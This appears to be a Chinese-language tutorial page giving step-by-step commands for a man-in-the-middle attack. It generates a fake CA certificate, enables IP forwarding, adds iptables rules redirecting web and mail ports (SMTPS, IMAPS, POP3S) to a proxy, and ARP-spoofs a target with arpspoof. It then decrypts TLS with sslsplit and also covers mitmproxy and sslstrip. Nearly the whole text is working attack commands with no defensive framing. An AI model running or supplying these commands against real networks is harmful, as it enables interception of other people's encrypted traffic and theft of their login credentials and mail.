 利用私钥签名生成证书

 openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

 开启路由功能

 启动路由

 sysctl -w net.ipv4.ip_forward=1

 iptables(做nat端口、地址转换)

 -L 显示现有规则

 -F 刷新现有的规则

 设置前确定80、443端口不被其他程序占用

 转发规则

 iptables -t nat -F
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 (#MSA 邮件提交代理)
 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 (#SMTPS)
 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 (#IMAPS)
 iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 (#POP3S)
 Iptables -t nat -L

ARP欺骗

 arpspoof -i eth0 -t 要欺骗的地址 -r 欺骗成谁

启动SSLsplit

mkdir -p test/logdir(jaildir/logdir )

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

 

mitmproxy工具

 软件bug

 修改规则

 iptables -t nat -F  

 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 

 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --toport 8080

启动

 mitmproxy -T --host -w mitmproxy.log

 

SSLstrip

 略有不同

 把客户端到中间人之间的流量变成明文

 SSLstrip -l 8080

 

[展开全文]